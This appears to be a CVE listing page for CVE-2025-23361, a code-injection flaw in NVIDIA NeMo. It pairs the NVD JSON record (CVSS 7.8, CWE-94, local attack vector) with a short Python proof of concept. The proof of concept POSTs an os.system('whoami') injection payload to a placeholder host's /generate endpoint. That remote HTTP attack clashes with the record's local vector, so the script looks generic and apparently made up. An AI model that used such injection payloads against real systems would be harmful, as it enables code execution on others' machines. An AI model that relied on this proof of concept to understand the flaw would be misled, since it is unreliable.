CVE-2025-23361

import requests target = 'http://target.com/neMo' payload = '{"input": "__import__(\'os\').system(\'whoami\')#"}' response = requests.post(f'{target}/generate', json={'code': payload}) print(response.json())

{"cve": {"id": "CVE-2025-23361", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:41.260", "lastModified": "2025-11-19T21:13:11.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework for all platforms contains a vulnerability in a script, where malicious input created by an attacker may cause improper control of code generation. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.0", "matchCriteriaId": "E20B853E-AC64-49E9-9DB0-31981B034BFA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23361", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5718", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-23361", "source": "[email protected]", "tags": ["Technical Description"]}]}}